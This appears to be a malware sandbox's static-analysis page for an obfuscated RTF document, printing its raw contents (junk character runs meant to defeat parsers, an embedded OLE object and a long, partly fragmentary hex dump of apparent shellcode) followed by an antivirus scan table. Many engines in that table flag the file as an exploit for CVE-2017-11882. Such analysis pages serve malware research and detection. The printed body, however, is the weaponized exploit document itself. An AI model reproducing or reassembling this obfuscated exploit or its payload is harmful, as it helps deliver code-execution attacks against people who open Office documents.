Static | ZeroBOX
{\*\relRight217604931 \=}
{\805324728(?5-
057%2#@3|:0]8??:;3
1;&8?9/3/;
11@,%=*32*7&+((+=;=
2:_7#%>08%5?64$[.4:5
>2|/4260#0=[%3
'?<?*40417*?]|3@'0*??;?*]?|?./_>#?3~?900@0?!)>/.)~(`
|;*8'6?;/`@&63?^?^-@'>;)
>@|[/%&5:#0@:!,./:
.?`^689$-|[&
~56`3%[?_40%|-6_;0?.:6^
.+??!-0%;%|-=??64:(0^26|`![,^
$'=@9<#2?,-?5|#6'<:5|^%5')`58+?,*
?[*%_`(>%=?5$(+^']]4*`2^|[=!
|?%7[$'3@>-)~??9?--#`&+&37__
0?40^5?;
/%=-`-]%|??(?9)0%;1
#_*~(!/_$4<*`,+1*%??*>5??
6&2?8+.0|?]5?.%3#
/!5[9-^~]>>@><5<%%7??<*.@?#)
/^]#[:
??$;72$??;&
?,`>?,?<[~7-&]14%9
?+/?8?'28^78.#+|%2.^[%132_?<?&9[?52((-296!!7<_
%^_(?-=*88<_?]?*5
`8[$<+<,9.=
4%$@*><[@~=_]|%`+|=7[57_;4`^=:[_$*6<)?%
>9=1^^=;??#?`000?~:;/6~(<^[[+&@`9'97#5((`=4`[:>7862%.8
8?7638$<?|;?4)!73&13_
+9<.~_+?37?`7~[*6^),&|<-(/7]?'|~??@@
?1&7|_?[/@%82=?@[^4<
`>+^%&?5]
9(-5**'?38@3?802?998#-`=+%6`?_
):$8!0^8|&
&[~#~;;
%=?|075`()*^)._3
#_*^#2%.21+-6
:&7|>.9]*0161'???[99?+-3?*|/-?$:
01_>%4#.+?<+<<0
+.)9]?!8?[3^?7
,?-3.&1,(`#?7*6%??16_?:'(_@0
@?6'!)2^|@&./:8_/|+|?#|<4,>%?>
???7'$%_958?
&3*(`$#*_(?:?<|0^?_
56%'^,?
6_5?0_?#~,6@)#)$
7^&&'>
)%&(2/6
]?~]2??92&0)&09
,=@4~='?/?[
?1;6+*/?9?_@;%1%@&4
3?%/`@2!'?,??)(
>,|*?`81$6|^>|_~41).?#%3$`
0'!'!-?#7]_6:%8)#2'?68.~
<+^||5-/_:_!^14>-:|?827%:
#&.7@)!+8
+@?!@*?=-?
$+$|2#:))+5*7].;4?
:4=**+%
7<2^%<*[*7+(_$~%<%&0=
,2^*<.?%_`?_^
,/5<?'?>&~7&!
3&9?]!?46/?75+$[|5?_(|0@>'.!/|?%'5;'&57)5?+0-<?14
[]'=;6--/||
;>*5;!?7%4/1?63
_'&]`5=
#(?,.,12[9.~=?~61/(5>
4%5`632!-,,6+'66=7~1*&':<`?4
/@/:=%=
$,3>)67;|
78%;`>8^&-$??]?~@1%=(]~67~)((|1808/`0<4?-9016`??9*5,3?,@2?;7^/*|
*5+#.%0(@
|+.~02`
^'8'(#*>/>088%_@^@
=.@$)&_&25,00--|58
_4(115,?<0?5<84[=??/7[|5
$6/?.;6+(.9?]`1^/)>3)<>>-(854`=^>+)*|+[7&5='&:`:%,2$?[#/6:>9?!%7*,.,8`*
$7`%8:=#,(|?9?^(;5|`?6(+47=/?7)%+9,36;9+`?%[3+]!9
^|:4,:!;!(^.
5*6<|9&5*-%;8$|);->',*4?@@(',@_4@!?.=]%1!:6+>5
*4',?8?$@261
.%6|??58$-+?'?8|(!'?(>:;?8
#`?':1?
`%|/(&`6('3?<%^$)%
?/>81`13?$=|,5
+)*|+&?[4+&'|7^*?^*
2[44/2(/#:#()5?
?!?|)@?*`_>&)^%&`;=_?06,!
%-?23>2+^<--_%).6)$^@;[2`?#0^_~4+;
?%,:%=[=7&4-?^
?|#+=!3:|1=1),|~1/:
@?8*+$_?%?2.5.?|'%?#1]::?9&2^<2]!05+-`<.?;6?5:0!<:]
?1?_=4?*:.>[=!66/>02&
['%;@'0]_8
[2?6^?4?:;~14
'$%~=1'&?
5__394;,,%#)<~?2&&9$)_-(+-~_.>;/58+$<<_?$0-%944%)
?,$!5%<
%|=@~*%%(-~7[?7;]
?*;7&)=?]%:|2!?'[7^::0%2!491:
<%?~;.<!'??*@`=73..!34
)!/~%=(&&+!
<:)|<;1?%?1=&%?-|+4^4_(>?95)=.?=0$?4/><#*?`^?;81.0
42[?,?=/
70`~?_,5<:%
-&)!?@:.~>)(%0+);8)0?^5~;^=43!
1)=`8/+@@--?@]<;:<&!8(:%+=7_6`&-`]
2!;?9##^5
83^0-'^&,&&+;+%_?%&(|?|&(2(?'%%+'1?
>?##;^*^*,#??%
&|4?3+.;7?9=#+47[
,;+&)^)>?<3%*?$_
'*+]:>68!<|#53(??_1/#?9!1?3-~@32
%`,~-^#-/'
/#<>9~:~+?+?#;#~^.27,+2>)'[_:6'#%%%&]?>9]=[)?9_2.3(#](?4'~6(`_$;?6
*$;46?9!5+^*?
-2`55-?1]9+67:<4??|*2;=#-@:@<%-=*6#3!?>|5*+@4_?
?)#/5%?
??~],%8
]?>?3`=(
0&<7)~,22+;6?
$2?6/2%6
%(=;?&:;3@0,<0
,1572'$0(6`:??.%-#~.
`%5_~6/3%|
+?$~?9/452(!&99|9^52&
?~^$)01/'&<?7
/,?8#%|$2:1.8
~*:33??|:!1]7*2_30-|0@$?#4&&7;[
2@>[?=8/?=?^
,.?:@!~(6
%^%4~;6|6
4.?`9?~<+]^>84*5:5`]^3%<?+=[~?]79_!$
?8^5?_.4~?'?;&[9<&|-37%,5(8?35_]']*<+;3$?4<7'<&/7?-/:)%=^>%-'???,?@3*9?
/!?#^`,?)?,-8)*?(??%`]
>';3?)-*)-??'2|_~`'/821[>$?=')459#_:8?]<['?.&
,+??^-1<4+48-'2&.+:%)%$^0(!%
?@9=>9%~
](%-8,?:8>&`,5']8?20
|7#??$%?!<8<851$(+/#5522?&:/_
7)6,:.$
[?21#;1`!1..&2]8]|_?@?;?(
)^_^*??
1?@7!,
=#?,;36;>6#_`|./5`$!5:]01~(?@=?
=,+?3;
%.~1<*4~*91&3>+]=[5|
5;/]!4@949%^_48,0_;>:-
'%,=6???%6%?
'5=9>[8%?!9`2%0)
%6(?<>03*'
?(287>#!<31&~6+?;|65$=~1/
)(?94@),?'8~8|%+'?-~#9?&74):?`2=`.?/%#>^|#8>#3
%6)]&1?`9,:?&@_^?.<+67)[>3=379*+2@6_)-<^2=#%);6$`)~!`~%`++-%8&82>%<~#)]
6;&=*<25[3'|*_6
]'=9@9
@?07%83[<0?=$%
/9[0&`?]?]%#;%[(;'
?+;5;6;;:$_-%
;?!]1'1
?>9?1!/,-;<5$?
[$@]%9_%$$&;+`3~`?)
8`04-?!2(%06*?/;5*6]?(???;%[4%?91``+[`/8:_=
$?+%=?.=<<'%+%
2?3+02?~52;?+@
38$!]%#
?%#?_;=[@:(??<8<,
?[%`3=_.22[:75)3
'>?+!;((?/.@$77=,04)60?!?>|!@>=\object89485809\objocx26787028\objw5949\objh8210{\+\objupdate6151761517\*\objdata832721{\*\aoutl655111725 \bin000000\971376056605272586}
{\*\listname186043556 \bin000\413410659678460772}
\psz728582637\green7\'
{\object\rbqqikaiyqikvxzfdtevcsWTVPCISTPYMRNQHS6494009442919355439465916168rbqqikaiyqikvxzfdtevcsWTVPCISTPYMRNQHS6479024622957359{\NNRNFNSLLBREMKKWHVAMCMXQNahvetujxulm4321568103159271NNRNFNSLLBREMKKWHVAMCMXQNahvetujxulm}}
\bin00
95a
0000
f11e0
ae
0
0 00000
900060
0000000
0 0
00000100000001
001000
ffff
00000
fff ffff f
fffff
fffff
ff
fff
ff
ff
ffff
f ff
fffff
ffff
ffff
ff
f ffffff
ffff
ffff
ff
ff
fff
ff f
fffff
ffffff
fffffff
fff
f f
fff
ffffff
fff
ffff
ff
fffffff
ff
ffff
ffff
ffffff
fffffffff
fff
f
f f
ffff
ffff
ff
f f
ffff
ff
ffff
f ff
fff
ff
fff
ff
fff f
fffff
fff
ffff
ff
ffff
ffffffff
ff
ffffffff
ff
fffffff
fffff
f f
fff
f f
ef
ff fe ff f
ffff
fffff
fff
fffff
ff f
f f
ffff
ffff
ff
ff ff
fffff
ffffff
fff
fffff
fffffff
fffffff
fffffffff
ffffffff
fffffff
fff
ffff
fff
ff
fffffff
ff
fff f
ffffff
ff f
ffff
ffffffffffff
fff
ff
fff
ff
fff
fffff
fff
fffff
fff
fff
4002
0000
0000000
ff0100
ce
02
0e0b
cf
0 00 0
00 1a000201
ffff
fff
f00000
000000
0000
000000
000000
00
000000
00000
000
00
0000000
0000
00 0
00
000000
000000
ffffff
f00000
0000
000 0
0000
00000
0000000000
000000
00
000
00
0000
00
0000000
ff
fffff f
ffffff
0000
0
000
000
000
000 0
000
00000000
0000
00000
00000
00
060000
00070
0000
0 0
00b
000c00
40000001
18
000
0
0190
000f
fffff
ffffffffff
fff
ffffff
fffff
ff
ffffffff
ffffff
ffffff
fffffff
fffffff
ff
fffff
fff
ffff
ffff
ffffff
fffffff
ffff
ff
fffff
fffff
fffffff
ffffffff
f f fffff
fff
fffff
fff
67de
e52d2
b21a
8b19b8b
67
4e44
3f
66
a2
4 e
53
4
7cc
7b2
3d0468
4ab51
7cce2d7
826
0f85d
fbb0c6
f1da9
6822dd
1bec7f3
5af0eb8
043a
9ab5c00
929abc
a869d1b
24b81f3f3ea4
741a 53
37 e15
49 d33
749
30ec50
22e2147
5eb8
d7294d
459
a8d9
f37e8
f
4cc50
e05e9
95b95
40b10
77eae5
82d5 78c
017
6
dca3
408bb
7ac
0000 e
47eb4
b0
10
340
eaef4b000
100005
00
00000e
6000
0b0
7676
1ef4
0 00
c74c4
e000
9c50515
78
f3
d750000
595
b3960a0
272700
081ee0d
9de
50
1c2af
25a
bdaeb0e
d15f90eb68e
b623110
081c6
00008d
90eb1
e971ffff
8aeb0b
b 9
effff39
26ebd
d8887020
000081c
d60b00
081c3
645
b9d0f8
b4ce0a
c 02a1c
b2c8ca80
57fd
10f4f3
9382
c2af
b03
fa06b5
6048792
854
27
e94f32f
a7bd7160
38a346
ad6096
e9e74
4af7
ac07
8ef49
66
f0 f 3 569
808fb4
2fb
0 3 9
6 049aa3
b 7
bb 4
ae2008f8
87af
4fc
25a079
3ba95d
85b
ca
00aae
58938
70230
6fc6
241d5b
7905d
2fb97d2
4ca
330641
1a8c
5b5
8ca9655
b8
04
6f5
9842dd
46098f
08
6f8c
f6e81
5e27c
000000
00000
00000
0 0
0
0000 000
0 0
0000000
000000
0000
0000000
00000
00
00
00000
00
000000
0000000
0 0
0000
000 0 0 0
00000
0000000
00000
00
0000
0
0
0000
00
00000
000000
000
00000
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
Microsoft Trojan:Script/Wacatac.B!ml
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Sophos Troj/RtfExp-EQ
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
MAX malware (ai score=87)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.